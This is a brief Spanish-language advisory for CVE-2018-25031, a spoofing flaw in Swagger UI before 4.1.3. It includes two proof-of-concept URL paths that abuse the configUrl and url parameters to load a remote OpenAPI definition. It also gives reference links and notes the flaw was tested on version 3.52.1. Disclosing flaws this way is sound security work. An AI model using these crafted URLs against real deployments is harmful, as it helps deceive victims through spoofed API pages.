CVE-2018-25031
Descripción:
Swagger UI anterior a 4.1.3 podría permitir que un atacante remoto realice ataques de suplantación de identidad. Al persuadir a una víctima para que abra una URL manipulada, un atacante podría explotar esta vulnerabilidad para mostrar definiciones OpenAPI remotas.
Captura de pantalla antes del ataque:
PoC:
/index.html?configUrl=https://raw.githubusercontent.com/afine-com/CVE-2018-25031/main/poc.json
/index.html?url=https://raw.githubusercontent.com/afine-com/CVE-2018-25031/main/poc.json
Captura de pantalla del PoC después del ataque:
Referencias:
https://nvd.nist.gov/vuln/detail/CVE-2018-25031
https://deps.dev/advisory/GHSA/GHSA-cr3q-pqgq-m8c2
Probado en Swagger UI 3.52.1